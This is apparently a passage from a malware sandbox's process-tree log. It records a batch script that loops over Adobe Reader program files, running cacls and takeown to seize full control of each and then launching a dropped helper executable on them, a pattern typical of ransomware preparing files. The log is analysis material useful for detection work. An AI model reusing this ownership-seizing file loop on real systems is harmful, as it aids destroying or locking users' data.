C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\rss.gif" /E /G Admin:F /C3⤵PID:1560
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\rss.gif"3⤵PID:1720
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "rss.gif" -nobanner3⤵PID:616
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "rss.gif" -nobanner4⤵PID:608
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1248
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOffNotificationInTray.gif""2⤵PID:2032
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOffNotificationInTray.gif" /E /G Admin:F /C3⤵PID:1588
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOffNotificationInTray.gif"3⤵
- Modifies file permissions
PID:1776
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "turnOffNotificationInTray.gif" -nobanner3⤵PID:1020
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "turnOffNotificationInTray.gif" -nobanner4⤵PID:1744
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:952
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-Oblique.otf""2⤵PID:1176
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-Oblique.otf" /E /G Admin:F /C3⤵PID:1260
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-Oblique.otf"3⤵PID:556
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "CourierStd-Oblique.otf" -nobanner3⤵PID:1112
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "CourierStd-Oblique.otf" -nobanner4⤵PID:588
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1652
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\SY______.PFM""2⤵PID:2036
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\SY______.PFM" /E /G Admin:F /C3⤵PID:268
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\SY______.PFM"3⤵
- Modifies file permissions
PID:1576
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "SY______.PFM" -nobanner3⤵PID:108
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "SY______.PFM" -nobanner4⤵PID:1600
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1048
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_US.txt""2⤵PID:1224
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_US.txt" /E /G Admin:F /C3⤵PID:1924
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_US.txt"3⤵PID:1392
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "DisplayLanguageNames.en_US.txt" -nobanner3⤵PID:964
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "DisplayLanguageNames.en_US.txt" -nobanner4⤵PID:1700
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2008
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can129.hsp""2⤵PID:1312
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can129.hsp" /E /G Admin:F /C3⤵PID:2004
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can129.hsp"3⤵
- Modifies file permissions
PID:1712
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "can129.hsp" -nobanner3⤵PID:432
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "can129.hsp" -nobanner4⤵PID:812
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2024
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\ICU\icudt26l.dat""2⤵PID:960
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\ICU\icudt26l.dat" /E /G Admin:F /C3⤵PID:608
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\ICU\icudt26l.dat"3⤵PID:860
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "icudt26l.dat" -nobanner3⤵PID:616
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "icudt26l.dat" -nobanner4⤵PID:840
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1180
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ROMANIAN.TXT""2⤵PID:1492
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ROMANIAN.TXT" /E /G Admin:F /C3⤵PID:1156
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ROMANIAN.TXT"3⤵PID:952
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "ROMANIAN.TXT" -nobanner3⤵PID:1700
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "ROMANIAN.TXT" -nobanner4⤵PID:964
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2008
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1258.TXT""2⤵PID:1224
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1258.TXT" /E /G Admin:F /C3⤵PID:2004
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1258.TXT"3⤵PID:1652
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "CP1258.TXT" -nobanner3⤵PID:812
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "CP1258.TXT" -nobanner4⤵PID:432
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2024
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\pmd.cer""2⤵PID:1312
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\pmd.cer" /E /G Admin:F /C3⤵PID:608
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\pmd.cer"3⤵
- Modifies file permissions
PID:1048
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "pmd.cer" -nobanner3⤵PID:840
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "pmd.cer" -nobanner4⤵PID:616
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1180
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\email_initiator.gif""2⤵PID:960
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\email_initiator.gif" /E /G Admin:F /C3⤵PID:1156
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\email_initiator.gif"3⤵PID:748
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "email_initiator.gif" -nobanner3⤵PID:964
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "email_initiator.gif" -nobanner4⤵PID:1700
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2008
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\pdf.gif""2⤵PID:1492
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\pdf.gif" /E /G Admin:F /C3⤵PID:2004
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\pdf.gif"3⤵
- Modifies file permissions
PID:856
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "pdf.gif" -nobanner3⤵PID:432
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "pdf.gif" -nobanner4⤵PID:812
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2024
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_issue.gif""2⤵PID:1224
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_issue.gif" /E /G Admin:F /C3⤵PID:608
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_issue.gif"3⤵PID:1560
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "server_issue.gif" -nobanner3⤵PID:108
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "server_issue.gif" -nobanner4⤵PID:616
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1180
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOnNotificationInAcrobat.gif""2⤵PID:1312
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOnNotificationInAcrobat.gif" /E /G Admin:F /C3⤵PID:1156
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOnNotificationInAcrobat.gif"3⤵
- Modifies file permissions
PID:1404
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "turnOnNotificationInAcrobat.gif" -nobanner3⤵PID:1700
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "turnOnNotificationInAcrobat.gif" -nobanner4⤵PID:964
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2008
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd.otf""2⤵PID:960
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd.otf" /E /G Admin:F /C3⤵PID:2004
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd.otf"3⤵PID:1260
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "CourierStd.otf" -nobanner3⤵PID:1112
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "CourierStd.otf" -nobanner4⤵PID:812
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2024
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\zx______.pfm""2⤵PID:1492
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\zx______.pfm" /E /G Admin:F /C3⤵PID:608
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\zx______.pfm"3⤵
- Modifies file permissions
PID:268
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "zx______.pfm" -nobanner3⤵PID:616
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "zx______.pfm" -nobanner4⤵PID:108
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1180
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_US_POSIX.txt""2⤵PID:1224
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_US_POSIX.txt" /E /G Admin:F /C3⤵PID:1156
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_US_POSIX.txt"3⤵
- Modifies file permissions
PID:1776
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "DisplayLanguageNames.en_US_POSIX.txt" -nobanner3⤵PID:964
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "DisplayLanguageNames.en_US_POSIX.txt" -nobanner4⤵PID:1700
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2008
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can32.clx""2⤵PID:1312
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can32.clx" /E /G Admin:F /C3⤵PID:2004
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can32.clx"3⤵PID:1888
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "can32.clx" -nobanner3⤵PID:812
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "can32.clx" -nobanner4⤵PID:1112
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2024
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Adobe\symbol.txt""2⤵PID:960
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Adobe\symbol.txt" /E /G Admin:F /C3⤵PID:608
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Adobe\symbol.txt"3⤵PID:1576
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "symbol.txt" -nobanner3⤵PID:108
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "symbol.txt" -nobanner4⤵PID:616
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1180
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\SYMBOL.TXT""2⤵PID:1492
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\SYMBOL.TXT" /E /G Admin:F /C3⤵PID:1156
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\SYMBOL.TXT"3⤵PID:1392
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "SYMBOL.TXT" -nobanner3⤵PID:1700
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "SYMBOL.TXT" -nobanner4⤵PID:964
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2008
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\ended_review_or_form.gif""2⤵PID:1224
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\ended_review_or_form.gif" /E /G Admin:F /C3⤵PID:2004
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\ended_review_or_form.gif"3⤵PID:588
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "ended_review_or_form.gif" -nobanner3⤵PID:1112
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "ended_review_or_form.gif" -nobanner4⤵PID:812
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2024
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviewers.gif""2⤵PID:1312
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviewers.gif" /E /G Admin:F /C3⤵PID:608
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviewers.gif"3⤵
- Modifies file permissions
PID:1600
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "reviewers.gif" -nobanner3⤵PID:616
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "reviewers.gif" -nobanner4⤵PID:108
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1560
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_lg.gif""2⤵PID:1708
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_lg.gif" /E /G Admin:F /C3⤵PID:1720
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_lg.gif"3⤵
- Modifies file permissions
PID:1248
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "server_lg.gif" -nobanner3⤵PID:1020
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "server_lg.gif" -nobanner4⤵PID:860
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1404
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOnNotificationInTray.gif""2⤵PID:288
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOnNotificationInTray.gif" /E /G Admin:F /C3⤵PID:1924
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOnNotificationInTray.gif"3⤵PID:1744
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "turnOnNotificationInTray.gif" -nobanner3⤵PID:432
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "turnOnNotificationInTray.gif" -nobanner4⤵PID:952
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1260
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-Bold.otf""2⤵PID:760
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-Bold.otf" /E /G Admin:F /C3⤵PID:1600
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-Bold.otf"3⤵PID:108
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "MinionPro-Bold.otf" -nobanner3⤵PID:616
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "MinionPro-Bold.otf" -nobanner4⤵PID:1808
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1176
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\zy______.pfm""2⤵PID:944
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\zy______.pfm" /E /G Admin:F /C3⤵PID:964
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\zy______.pfm"3⤵PID:2032
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "zy______.pfm" -nobanner3⤵PID:1700
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "zy______.pfm" -nobanner4⤵PID:1492
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2036
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt.fca""2⤵PID:1156
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt.fca" /E /G Admin:F /C3⤵PID:812
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt.fca"3⤵PID:856
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "brt.fca" -nobanner3⤵PID:1112
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "brt.fca" -nobanner4⤵PID:1224
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2004
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\eng.hyp""2⤵PID:1888
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\eng.hyp" /E /G Admin:F /C3⤵PID:840
-
-
